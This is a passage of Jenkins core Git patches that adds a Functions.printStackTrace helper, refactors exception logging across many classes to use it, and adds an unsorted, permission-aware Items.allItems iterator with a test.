100644 index 0000000000..c2316aef02 --- /dev/null +++ b/core/src/main/resources/META-INF/upgrade/Functions.hint @@ -0,0 +1,2 @@ +$t.printStackTrace($s) :: $s instance java.io.PrintStream && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; +$t.printStackTrace($s) :: $s instance java.io.PrintWriter && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; -- GitLab From 76aa0727f0ff0e500b1d970c72b4644d722309ef Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 17:56:24 -0500 Subject: [PATCH 585/811] Functions.printStackTrace utility method. --- core/src/main/java/hudson/FilePath.java | 2 +- core/src/main/java/hudson/Functions.java | 21 +++++++++++++++++++ core/src/main/java/hudson/Proc.java | 2 +- core/src/main/java/hudson/Util.java | 2 +- core/src/main/java/hudson/cli/CLICommand.java | 4 ++-- .../hudson/cli/declarative/CLIRegisterer.java | 2 +- .../main/java/hudson/model/AbstractBuild.java | 6 +++--- .../java/hudson/model/AbstractProject.java | 4 ++-- .../java/hudson/model/AsyncAperiodicWork.java | 4 ++-- .../java/hudson/model/AsyncPeriodicWork.java | 4 ++-- core/src/main/java/hudson/model/Build.java | 2 +- core/src/main/java/hudson/model/Executor.java | 2 +- .../model/FingerprintCleanupThread.java | 2 +- core/src/main/java/hudson/model/Run.java | 2 +- .../main/java/hudson/model/TaskThread.java | 2 +- .../hudson/model/WorkspaceCleanupThread.java | 8 +++---- .../java/hudson/os/solaris/ZFSInstaller.java | 4 ++-- core/src/main/java/hudson/scm/SCM.java | 2 +- .../java/hudson/slaves/CommandLauncher.java | 10 ++++----- .../java/hudson/slaves/SlaveComputer.java | 8 +++---- .../java/hudson/tasks/ArtifactArchiver.java | 2 +- .../java/hudson/tasks/CommandInterpreter.java | 8 +++---- .../main/java/hudson/tasks/Fingerprinter.java | 2 +- core/src/main/java/hudson/tasks/Maven.java | 2 +- .../main/java/hudson/triggers/SCMTrigger.java | 2 +- .../java/hudson/util/RemotingDiagnostics.java | 2 +- .../main/java/hudson/util/SecretRewriter.java | 2 +- .../AsynchronousAdministrativeMonitor.java | 2 +- .../security/RekeySecretAdminMonitor.java | 2 +- .../slaves/DefaultJnlpSlaveReceiver.java | 2 +- .../JnlpSlaveRestarterInstaller.java | 2 +- .../resources/META-INF/upgrade/Functions.hint | 4 ++-- 32 files changed, 73 insertions(+), 52 deletions(-) diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index b7506ecf39..2de31671dc 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -831,7 +831,7 @@ public final class FilePath implements Serializable { return true; } catch (IOException x) { if (listener != null) { - listener.error("Failed to download " + archive + " from agent; will retry from master").print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error("Failed to download " + archive + " from agent; will retry from master")); } } } diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index f2863b5905..6e435834fc 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -156,6 +156,7 @@ import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.model.PasswordParameterDefinition; import hudson.util.RunList; +import java.io.PrintStream; import java.util.HashSet; import java.util.Set; import java.util.concurrent.atomic.AtomicLong; @@ -1505,6 +1506,26 @@ public class Functions { } } + /** + * Like {@link Throwable#printStackTrace(PrintWriter)} but using {@link #printThrowable} format. + * @param t an exception to print + * @param pw the log + * @since FIXME + */ + public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintWriter pw) { + pw.println(printThrowable(t).trim()); + } + + /** + * Like {@link Throwable#printStackTrace(PrintStream)} but using {@link #printThrowable} format. + * @param t an exception to print + * @param ps the log + * @since FIXME + */ + public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintStream ps) { + ps.println(printThrowable(t).trim()); + } + /** * Counts the number of rows needed for textarea to fit the content. * Minimum 5 rows. diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index 48d5d2741d..8561bdbd64 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -159,7 +159,7 @@ public abstract class Proc { kill(); } } catch (InterruptedException | IOException | RuntimeException x) { - listener.error("Failed to join a process").print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error("Failed to join a process")); } } }); diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index 46c707da67..73d6156713 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -1367,7 +1367,7 @@ public class Util { PrintStream log = listener.getLogger(); log.printf("ln %s %s failed%n",targetPath, new File(baseDir, symlinkPath)); Util.displayIOException(e,listener); - log.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, log); } } diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 6bc650a07c..a2fb8bc51f 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -299,7 +299,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - stderr.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, stderr); return 1; } finally { if(sc != null) @@ -333,7 +333,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { return new ClientAuthenticationCache(channel).get(); } catch (IOException e) { stderr.println("Failed to access the stored credential"); - stderr.print(Functions.printThrowable(e)); // recover + Functions.printStackTrace(e, stderr); // recover } return Jenkins.ANONYMOUS; } diff --git a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java index d0f5244f2e..2d17d1b29b 100644 --- a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java +++ b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java @@ -270,7 +270,7 @@ public class CLIRegisterer extends ExtensionFinder { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - stderr.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, stderr); return 1; } } diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index 2d22548c76..a096635dfc 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -633,7 +633,7 @@ public abstract class AbstractBuild

                                        ,R extends Abs throw (InterruptedException)new InterruptedException().initCause(e); } catch (IOException e) { // checkout error not yet reported - listener.getLogger().print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.getLogger()); } if (retryCount == 0) // all attempts failed @@ -749,7 +749,7 @@ public abstract class AbstractBuild

                                        ,R extends Abs listener.error("Step ‘" + buildStep + "’ failed: " + e.getMessage()); } else { String msg = "Step ‘" + buildStep + "’ aborted due to exception: "; - listener.error(msg).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(msg)); LOGGER.log(WARNING, msg, e); } @@ -784,7 +784,7 @@ public abstract class AbstractBuild

                                        ,R extends Abs // Channel is closed, do not continue reportBrokenChannel(listener); } catch (RuntimeException ex) { - listener.error("Build step failed with exception").print(Functions.printThrowable(ex)); + Functions.printStackTrace(ex, listener.error("Build step failed with exception")); } for (BuildStepListener bsl : BuildStepListener.all()) { diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index f00668a173..b3d9413635 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1370,11 +1370,11 @@ public abstract class AbstractProject

                                        ,R extends A SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (IOException e) { - listener.fatalError(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(e.getMessage())); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (InterruptedException e) { - listener.fatalError(Messages.AbstractProject_PollingABorted()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.AbstractProject_PollingABorted())); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (RuntimeException e) { diff --git a/core/src/main/java/hudson/model/AsyncAperiodicWork.java b/core/src/main/java/hudson/model/AsyncAperiodicWork.java index 02c108bb65..1d295fa716 100644 --- a/core/src/main/java/hudson/model/AsyncAperiodicWork.java +++ b/core/src/main/java/hudson/model/AsyncAperiodicWork.java @@ -120,9 +120,9 @@ public abstract class AsyncAperiodicWork extends AperiodicWork { execute(l); } catch (IOException e) { - l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError(e.getMessage())); } catch (InterruptedException e) { - l.fatalError("aborted").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError("aborted")); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/AsyncPeriodicWork.java b/core/src/main/java/hudson/model/AsyncPeriodicWork.java index 383786c8cb..f3ffcc6497 100644 --- a/core/src/main/java/hudson/model/AsyncPeriodicWork.java +++ b/core/src/main/java/hudson/model/AsyncPeriodicWork.java @@ -100,9 +100,9 @@ public abstract class AsyncPeriodicWork extends PeriodicWork { execute(l); } catch (IOException e) { - l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError(e.getMessage())); } catch (InterruptedException e) { - l.fatalError("aborted").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError("aborted")); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/Build.java b/core/src/main/java/hudson/model/Build.java index 3a8fd35e73..2b8b764931 100644 --- a/core/src/main/java/hudson/model/Build.java +++ b/core/src/main/java/hudson/model/Build.java @@ -196,7 +196,7 @@ public abstract class Build

                                        ,B extends Build> performAllBuildSteps(listener, project.getPublishersList(), false); performAllBuildSteps(listener, project.getProperties(), false); } catch (Exception x) { - listener.error(Messages.Build_post_build_steps_failed()).print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error(Messages.Build_post_build_steps_failed())); } super.cleanUp(listener); } diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index a42b723dba..83345726be 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -290,7 +290,7 @@ public class Executor extends Thread implements ModelObject { } else { pw.println("Termination trace follows:"); for (Computer.TerminationRequest request : owner.getTerminatedBy()) { - pw.print(Functions.printThrowable(request)); + Functions.printStackTrace(request, pw); } } } diff --git a/core/src/main/java/hudson/model/FingerprintCleanupThread.java b/core/src/main/java/hudson/model/FingerprintCleanupThread.java index fffd8db483..59187a3a40 100644 --- a/core/src/main/java/hudson/model/FingerprintCleanupThread.java +++ b/core/src/main/java/hudson/model/FingerprintCleanupThread.java @@ -114,7 +114,7 @@ public final class FingerprintCleanupThread extends AsyncPeriodicWork { return fp.trim(); } } catch (IOException e) { - listener.error("Failed to process " + fingerprintFile).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to process " + fingerprintFile)); return false; } } diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 81fb8a07fa..eb0f7a63b1 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -1864,7 +1864,7 @@ public abstract class Run ,RunT extends Run, ExtensionPoint { createEmptyChangeLog(changelogFile, (TaskListener) listener, rootTag); return true; } catch (IOException e) { - listener.error(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(e.getMessage())); return false; } } diff --git a/core/src/main/java/hudson/slaves/CommandLauncher.java b/core/src/main/java/hudson/slaves/CommandLauncher.java index 1a152e55a9..4f7c075a06 100644 --- a/core/src/main/java/hudson/slaves/CommandLauncher.java +++ b/core/src/main/java/hudson/slaves/CommandLauncher.java @@ -144,11 +144,11 @@ public class CommandLauncher extends ComputerLauncher { LOGGER.info("agent launched for " + computer.getDisplayName()); } catch (InterruptedException e) { - listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ComputerLauncher_abortedLaunch())); } catch (RuntimeException e) { - listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ComputerLauncher_unexpectedError())); } catch (Error e) { - listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ComputerLauncher_unexpectedError())); } catch (IOException e) { Util.displayIOException(e, listener); @@ -160,14 +160,14 @@ public class CommandLauncher extends ComputerLauncher { } msg = hudson.model.Messages.Slave_UnableToLaunch(computer.getDisplayName(), msg); LOGGER.log(Level.SEVERE, msg, e); - listener.error(msg).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(msg)); if(_proc!=null) { reportProcessTerminated(_proc, listener); try { ProcessTree.get().killAll(_proc, _cookie); } catch (InterruptedException x) { - listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error(Messages.ComputerLauncher_abortedLaunch())); } } } diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 57662bc18b..36bd1478cb 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -265,13 +265,13 @@ public class SlaveComputer extends Computer { throw e; } catch (IOException e) { Util.displayIOException(e,taskListener); - taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, taskListener.error(Messages.ComputerLauncher_unexpectedError())); throw e; } catch (InterruptedException e) { - taskListener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, taskListener.error(Messages.ComputerLauncher_abortedLaunch())); throw e; } catch (Exception e) { - taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, taskListener.error(Messages.ComputerLauncher_unexpectedError())); throw e; } } finally { @@ -495,7 +495,7 @@ public class SlaveComputer extends Computer { // Orderly shutdown will have null exception if (cause!=null) { offlineCause = new ChannelTermination(cause); - taskListener.error("Connection terminated").print(Functions.printThrowable(cause)); + Functions.printStackTrace(cause, taskListener.error("Connection terminated")); } else { taskListener.getLogger().println("Connection terminated"); } diff --git a/core/src/main/java/hudson/tasks/ArtifactArchiver.java b/core/src/main/java/hudson/tasks/ArtifactArchiver.java index 2b8f3d4865..407dadaa39 100644 --- a/core/src/main/java/hudson/tasks/ArtifactArchiver.java +++ b/core/src/main/java/hudson/tasks/ArtifactArchiver.java @@ -263,7 +263,7 @@ public class ArtifactArchiver extends Recorder implements SimpleBuildStep { } } catch (IOException e) { Util.displayIOException(e,listener); - listener.error(Messages.ArtifactArchiver_FailedToArchive(artifacts)).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ArtifactArchiver_FailedToArchive(artifacts))); build.setResult(Result.FAILURE); return; } diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index 5170aff8e8..3056b71cde 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -94,7 +94,7 @@ public abstract class CommandInterpreter extends Builder { script = createScriptFile(ws); } catch (IOException e) { Util.displayIOException(e,listener); - listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript())); return false; } @@ -114,7 +114,7 @@ public abstract class CommandInterpreter extends Builder { } } catch (IOException e) { Util.displayIOException(e, listener); - listener.fatalError(Messages.CommandInterpreter_CommandFailed()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_CommandFailed())); } return r==0; } finally { @@ -133,10 +133,10 @@ public abstract class CommandInterpreter extends Builder { LOGGER.log(Level.FINE, "Script deletion failed", e); } else { Util.displayIOException(e,listener); - listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script))); } } catch (Exception e) { - listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script))); } } } diff --git a/core/src/main/java/hudson/tasks/Fingerprinter.java b/core/src/main/java/hudson/tasks/Fingerprinter.java index beda443bf3..fb45ef9cc2 100644 --- a/core/src/main/java/hudson/tasks/Fingerprinter.java +++ b/core/src/main/java/hudson/tasks/Fingerprinter.java @@ -138,7 +138,7 @@ public class Fingerprinter extends Recorder implements Serializable, DependencyD Jenkins.getInstance().rebuildDependencyGraphAsync(); } } catch (IOException e) { - listener.error(Messages.Fingerprinter_Failed()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.Fingerprinter_Failed())); build.setResult(Result.FAILURE); } diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index 4939ea7044..4e8b4f4eed 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -366,7 +366,7 @@ public class Maven extends Builder { } } catch (IOException e) { Util.displayIOException(e,listener); - listener.fatalError(Messages.Maven_ExecFailed()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.Maven_ExecFailed())); return false; } startIndex = endIndex + 1; diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index d3c7074eb6..7a8afe26b2 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -569,7 +569,7 @@ public class SCMTrigger extends Trigger { logger.println("No changes"); return result; } catch (Error | RuntimeException e) { - listener.error("Failed to record SCM polling for " + job).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to record SCM polling for " + job)); LOGGER.log(Level.SEVERE,"Failed to record SCM polling for "+job,e); throw e; } finally { diff --git a/core/src/main/java/hudson/util/RemotingDiagnostics.java b/core/src/main/java/hudson/util/RemotingDiagnostics.java index 02184c3397..d38fa7170e 100644 --- a/core/src/main/java/hudson/util/RemotingDiagnostics.java +++ b/core/src/main/java/hudson/util/RemotingDiagnostics.java @@ -143,7 +143,7 @@ public final class RemotingDiagnostics { if(output!=null) pw.println("Result: "+output); } catch (Throwable t) { - pw.print(Functions.printThrowable(t)); + Functions.printStackTrace(t, pw); } return out.toString(); } diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 08bf646c67..565aca7fcd 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -170,7 +170,7 @@ public class SecretRewriter { rewritten++; } } catch (IOException e) { - listener.error("Failed to rewrite " + child).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to rewrite " + child)); } } if (child.isDirectory()) { diff --git a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java index 47a682cd98..4e621ab53b 100644 --- a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java +++ b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java @@ -126,7 +126,7 @@ public abstract class AsynchronousAdministrativeMonitor extends AdministrativeMo } catch (AbortException e) { listener.error(e.getMessage()); } catch (Throwable e) { - listener.error(getName() + " failed").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(getName() + " failed")); LOGGER.log(Level.WARNING, getName() + " failed", e); } } diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index c486193c9c..684849b308 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -153,7 +153,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor i LOGGER.info("Secret re-keying completed"); } catch (Exception e) { LOGGER.log(Level.SEVERE, "Fatal failure in re-keying secrets",e); - listener.error("Fatal failure in rewriting secrets").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Fatal failure in rewriting secrets")); } } diff --git a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java index 3b7cdd2ba0..686ed005e3 100644 --- a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java +++ b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java @@ -172,7 +172,7 @@ public class DefaultJnlpSlaveReceiver extends JnlpAgentReceiver { computer.setChannel(event.getChannel(), state.getLog(), null); } catch (IOException | InterruptedException e) { PrintWriter logw = new PrintWriter(state.getLog(), true); - logw.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, logw); IOUtils.closeQuietly(event.getChannel()); } } diff --git a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java index d271a37913..1eb68dcc6f 100644 --- a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java +++ b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java @@ -94,7 +94,7 @@ public class JnlpSlaveRestarterInstaller extends ComputerListener implements Ser LOGGER.log(FINE, "Effective SlaveRestarter on {0}: {1}", new Object[] {c.getName(), effective}); } catch (Throwable e) { - listener.error("Failed to install restarter").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to install restarter")); } } diff --git a/core/src/main/resources/META-INF/upgrade/Functions.hint b/core/src/main/resources/META-INF/upgrade/Functions.hint index c2316aef02..149d172c4b 100644 --- a/core/src/main/resources/META-INF/upgrade/Functions.hint +++ b/core/src/main/resources/META-INF/upgrade/Functions.hint @@ -1,2 +1,2 @@ -$t.printStackTrace($s) :: $s instance java.io.PrintStream && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; -$t.printStackTrace($s) :: $s instance java.io.PrintWriter && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; +$t.printStackTrace($s) :: $s instance java.io.PrintStream && $t instanceof Throwable => hudson.Functions.printStackTrace($t, $s);; +$t.printStackTrace($s) :: $s instance java.io.PrintWriter && $t instanceof Throwable => hudson.Functions.printStackTrace($t, $s);; -- GitLab From cf0fea0c1f1dfca2530a0787384ddaf762b1e713 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 14 Dec 2016 20:23:51 +0000 Subject: [PATCH 586/811] [FIXED JENKINS-40252] Add an Iterable that returns all items unsorted --- core/src/main/java/hudson/model/Items.java | 155 +++++++++++++++++- .../src/test/java/hudson/model/ItemsTest.java | 27 +++ 2 files changed, 177 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 0b457293ab..66108998a2 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -30,29 +30,30 @@ import hudson.XmlFile; import hudson.model.listeners.ItemListener; import hudson.remoting.Callable; import hudson.security.ACL; +import hudson.security.ACLContext; import hudson.security.AccessControlled; import hudson.triggers.Trigger; import hudson.util.DescriptorList; import hudson.util.EditDistance; import hudson.util.XStream2; -import jenkins.model.Jenkins; -import org.acegisecurity.Authentication; -import org.apache.commons.lang.StringUtils; - import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Comparator; +import java.util.Iterator; import java.util.List; +import java.util.NoSuchElementException; import java.util.Stack; import java.util.StringTokenizer; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; - import jenkins.model.DirectlyModifiableTopLevelItemGroup; +import jenkins.model.Jenkins; +import org.acegisecurity.Authentication; import org.apache.commons.io.FileUtils; +import org.apache.commons.lang.StringUtils; /** * Convenience methods related to {@link Item}. @@ -385,6 +386,35 @@ public class Items { } } + /** + * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to + * {@link Jenkins#getAuthentication()} without concern for the order in which items are returned. + * + * @param root the root. + * @param type the type. + * @param the type. + * @return An {@link Iterable} for all items. + * @since FIXME + */ + public static Iterable allItems(ItemGroup root, Class type) { + return allItems(Jenkins.getAuthentication(), root, type); + } + + + /** + * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to the supplied authentication + * without concern for the order in which items are returned. + * + * @param root the root. + * @param type the type. + * @param the type. + * @return An {@link Iterable} for all items. + * @since FIXME + */ + public static Iterable allItems(Authentication authentication, ItemGroup root, Class type) { + return new AllItemsIterable<>(root, authentication, type); + } + /** * Finds an item whose name (when referenced from the specified context) is closest to the given name. * @param the type of item being considered @@ -440,6 +470,121 @@ public class Items { return newItem; } + private static class AllItemsIterable implements Iterable { + + /** + * The authentication we are iterating as. + */ + private final Authentication authentication; + /** + * The root we are iterating from. + */ + private final ItemGroup root; + /** + * The type of item we want to return. + */ + private final Class type; + + private AllItemsIterable(ItemGroup root, Authentication authentication, Class type) { + this.root = root; + this.authentication = authentication; + this.type = type; + } + + /** + * {@inheritDoc} + */ + @Override + public Iterator iterator() { + return new AllItemsIterator(); + } + + private class AllItemsIterator implements Iterator { + + /** + * The stack of {@link ItemGroup}s that we have left to descend into. + */ + private final Stack stack = new Stack<>(); + /** + * The iterator of the current {@link ItemGroup} we + */ + private Iterator delegate = null; + /** + * The next item. + */ + private T next = null; + + private AllItemsIterator() { + // put on the stack so that hasNext() is the only place that has to worry about authentication + // alternative would be to impersonate and populate delegate. + stack.push(root); + } + + /** + * {@inheritDoc} + */ + @Override + public void remove() { + throw new UnsupportedOperationException(); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean hasNext() { + if (next != null) { + return true; + } + while (true) { + if (delegate == null || !delegate.hasNext()) { + if (stack.isEmpty()) { + return false; + } + ItemGroup group = stack.pop(); + // group.getItems() is responsible for performing the permission check so we will not repeat it + if (Jenkins.getAuthentication() == authentication) { + delegate = group.getItems().iterator(); + } else { + // slower path because the caller has switched authentication + // we need to keep the original authentication so that allItems() can be used + // like getAllItems() without the cost of building the entire list up front + try (ACLContext ctx = ACL.as(authentication)) { + delegate = group.getItems().iterator(); + } + } + } + while (delegate.hasNext()) { + Item item = delegate.next(); + if (item instanceof ItemGroup) { + stack.push((ItemGroup) item); + } + if (type.isInstance(item)) { + next = type.cast(item); + return true; + } + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public T next() { + if (!hasNext()) { + throw new NoSuchElementException(); + } + try { + return next; + } finally { + next = null; + } + } + + } + } + /** * Used to load/save job configuration. * diff --git a/test/src/test/java/hudson/model/ItemsTest.java b/test/src/test/java/hudson/model/ItemsTest.java index 59e168b4e6..e3defc19a2 100644 --- a/test/src/test/java/hudson/model/ItemsTest.java +++ b/test/src/test/java/hudson/model/ItemsTest.java @@ -28,6 +28,8 @@ import java.io.File; import java.util.Arrays; import org.junit.Test; + +import static org.hamcrest.Matchers.containsInAnyOrder; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.rules.TemporaryFolder; @@ -61,6 +63,31 @@ public class ItemsTest { assertEquals(Arrays.asList(sub2a, sub2ap, sub2alpha, sub2b, sub2bp, sub2BRAVO, sub2c, sub2cp, sub2charlie), Items.getAllItems(sub2, Item.class)); } + @Issue("JENKINS-40252") + @Test + public void allItems() throws Exception { + MockFolder d = r.createFolder("d"); + MockFolder sub2 = d.createProject(MockFolder.class, "sub2"); + MockFolder sub2a = sub2.createProject(MockFolder.class, "a"); + MockFolder sub2c = sub2.createProject(MockFolder.class, "c"); + MockFolder sub2b = sub2.createProject(MockFolder.class, "b"); + MockFolder sub1 = d.createProject(MockFolder.class, "sub1"); + FreeStyleProject root = r.createFreeStyleProject("root"); + FreeStyleProject dp = d.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub1q = sub1.createProject(FreeStyleProject.class, "q"); + FreeStyleProject sub1p = sub1.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2ap = sub2a.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2bp = sub2b.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2cp = sub2c.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2alpha = sub2.createProject(FreeStyleProject.class, "alpha"); + FreeStyleProject sub2BRAVO = sub2.createProject(FreeStyleProject.class, "BRAVO"); + FreeStyleProject sub2charlie = sub2.createProject(FreeStyleProject.class, "charlie"); + assertThat(Items.allItems(d, FreeStyleProject.class), containsInAnyOrder(dp, sub1p, sub1q, sub2ap, sub2alpha, + sub2bp, sub2BRAVO, sub2cp, sub2charlie)); + assertThat(Items.allItems(sub2, Item.class), containsInAnyOrder((Item)sub2a, sub2ap, sub2alpha, sub2b, sub2bp, + sub2BRAVO, sub2c, sub2cp, sub2charlie)); + } + @Issue("JENKINS-24825") @Test 